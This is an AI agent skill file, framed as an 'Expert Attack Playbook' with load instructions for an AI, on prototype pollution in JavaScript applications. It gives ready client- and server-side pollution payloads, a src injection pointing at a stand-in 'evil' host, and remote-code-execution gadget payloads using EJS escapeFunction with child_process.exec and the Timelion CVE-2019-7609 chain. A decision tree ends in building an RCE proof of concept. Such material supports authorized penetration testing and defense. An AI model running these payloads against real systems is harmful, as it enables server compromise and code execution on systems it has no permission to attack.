prototype-pollution

name	prototype-pollution
description	Prototype pollution testing for JavaScript stacks. Use when user input is merged into objects (query parsers, JSON bodies, deep assign), when configuring libraries via untrusted keys, or when hunting RCE gadgets via polluted Object.prototype in Node or the browser.

SKILL: Prototype Pollution — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert prototype pollution for client and server JS. Covers __proto__ vs constructor.prototype, merge-sink detection, Express/qs-style black-box probes, and gadget chains (EJS, Timelion-class patterns, child_process/NODE_OPTIONS). Assumes you know object spread and prototype inheritance — focus is on parser behavior and post-pollution sinks.

Routing note: prioritize PP when you see deep merges, recursive assign, JSON.parse followed by Object.assign, or URL queries converted to nested objects.

0. QUICK START

Client-side first probes

#__proto__[polluted]=1
#__proto__[polluted]=polluted
#constructor[prototype][polluted]=1

When input can reflect into DOM or framework routing, pair with alert(1) / console checks to observe whether global object properties were polluted.

#__proto__[xxx]=alert(1)

Server-side first probes（JSON / form）

{"__proto__":{"polluted":true}}

{"constructor":{"prototype":{"polluted":true}}}

After sending, check whether unrelated follow-up responses show abnormal headers/status/JSON spacing, or whether app logic reads Object.prototype.polluted (see §3 detection table).

Quick boolean

If target code uses lodash.merge, deep-extend, hoek.applyToDefaults, or some qs/query-string configurations, raise priority.

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1. MECHANISM

Prototype chain: when accessing obj.key, if obj lacks own property key, lookup walks up [[Prototype]] until Object.prototype.

__proto__: many parsers treat literal key __proto__ as a magic path that attaches child properties to the prototype. Merging { "__proto__": { "x": 1 } } can be equivalent to Object.prototype.x = 1 depending on implementation and patch level.

constructor.prototype: constructor typically points to the object's constructor function; constructor.prototype is that constructor's prototype object. For plain objects this usually links to Object.prototype. Example path:

{"constructor":{"prototype":{"polluted":1}}}

This is not always equivalent to __proto__ (filtering, JSON parsing, Bun/Node differences), so test both paths.

Core issue: this is not just "one extra parameter"; in non-isolated merge logic, attacker-controlled keys point to prototype objects, giving global or shared template context malicious properties that later code reads normally, triggering gadgets.

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2. CLIENT-SIDE DETECTION

URL fragment

https://app.example/page#__proto__[admin]=1

https://app.example/#__proto__[xxx]=alert(1)

If router or analytics code parses fragments into objects and then merges, pollution may occur.

constructor.prototype path

#constructor[prototype][role]=admin

DOM / attribute injection ideas

If the framework merges attribute names as object keys:

__proto__[src]=//evil/xss.js

Event-handler style keys (implementation-dependent):

__proto__[onerror]=alert(1)

Verification: open a fresh page without fragment and check in console whether test keys remain on Object.prototype; account for extension and DevTools interference.

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3. SERVER-SIDE DETECTION (Express / Node, black-box)

The payloads below assume body/query is deeply parsed into objects by qs or similar parsers (possibly with body-parser). Observe global side effects, not only current endpoint return values.

Payload (JSON example)	Expected observable signal
{"__proto__":{"parameterLimit":1}}	Multi-parameter parsing in follow-up requests is ignored or abnormal (qs-style parameterLimit)
{"__proto__":{"ignoreQueryPrefix":true}}	Double-question-mark prefixes like ??foo=bar are accepted or behavior changes sharply
{"__proto__":{"allowDots":true}}	Nested keys like ?foo.bar=baz are expanded via dot notation
{"__proto__":{"json spaces":" "}}	JSON-serialized responses gain extra spaces (JSON.stringify spacing setting polluted)
{"__proto__":{"exposedHeaders":["foo"]}}	CORS responses include foo-related headers (if framework reads config from prototype)
{"__proto__":{"status":510}}	Some response status changes to 510 or another abnormal code (app reads status from object)

Operational tip: send pollution request first, then a clean request to observe persistence; connection pools and worker lifecycle affect whether impact is globally visible.

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4. EXPLOITATION GADGETS

Target / scenario	Payload or pattern	Notes
EJS	{"__proto__":{"client":1,"escapeFunction":"JSON.stringify; process.mainModule.require('child_process').exec('COMMAND')"}}	If template engine options like escapeFunction are read from polluted prototype, this may lead to RCE; strongly version/config dependent
Timelion expression chain (CVE-2019-7609)	.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("COMMAND")')	Historical chain: prototype pollution + timeline expression execution; useful to understand expression + PP combinations
Node child_process	Pollute shell, argv0, env, NODE_OPTIONS, etc. (merged into exec/fork option objects)	Depends on whether later code calls spawn/fork and reads options from prototype chain
Generic constructor path	{"constructor":{"prototype":{"foo":"bar"}}}	Bypasses weak validation that filters only the __proto__ key

Chain mindset: pollution -> dependency reads obj.settings.xxx without hasOwnProperty -> RCE / SSRF / path traversal.

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5. TOOLS

Project	Purpose
yeswehack/pp-finder	Helps locate PP-prone merge points and patterns
yuske/silent-spring	Research and detection around prototype-pollution surfaces
yuske/server-side-prototype-pollution	Server-side PP testing suite/methodology
BlackFan/client-side-prototype-pollution	Browser-side PP cases and payloads
portswigger/server-side-prototype-pollution	Burp ecosystem extension / supporting material
msrkp/PPScan	Scanning/verification helper

Prioritize use on authorized targets; automated tools can cause side effects on stateful applications.

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6. DECISION TREE

                    Input merged into nested object?
                    (query, JSON, GraphQL vars, YAML→JSON)
                                |
               NO --------------+-------------- YES
               |                              |
        Other vuln class                Parser allows __proto__ /
                                        constructor.prototype keys?
                                                    |
                                    NO --------------+-------------- YES
                                    |                              |
                             Check unicode /                    Confirm global effect:
                             bypass of key names               clean follow-up request
                                    |                              |
                                    +--------------+----------------+
                                                   |
                                                   v
                                    Gadget present? (template, spawn, JSON.stringify opts, CORS)
                                                   |
                              NO ------------------+------------------ YES
                              |                                         |
                       Report PP as DoS /              Build minimal RCE or
                       logic impact                   high-impact PoC
                              |                                         |
                              +---------------------+-------------------+
                                                    |
                                                    v
                              Client-side: fragment / DOM / third-party script
                              Server-side: qs/body-parser/lodash/deep-merge version audit

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Related routing

• Input routing and multi-injection parallel entry -> Injection Testing Router.
• Template execution chains (non-PP) -> SSTI.
• Insecure deserialization (non-JS prototype) -> Deserialization.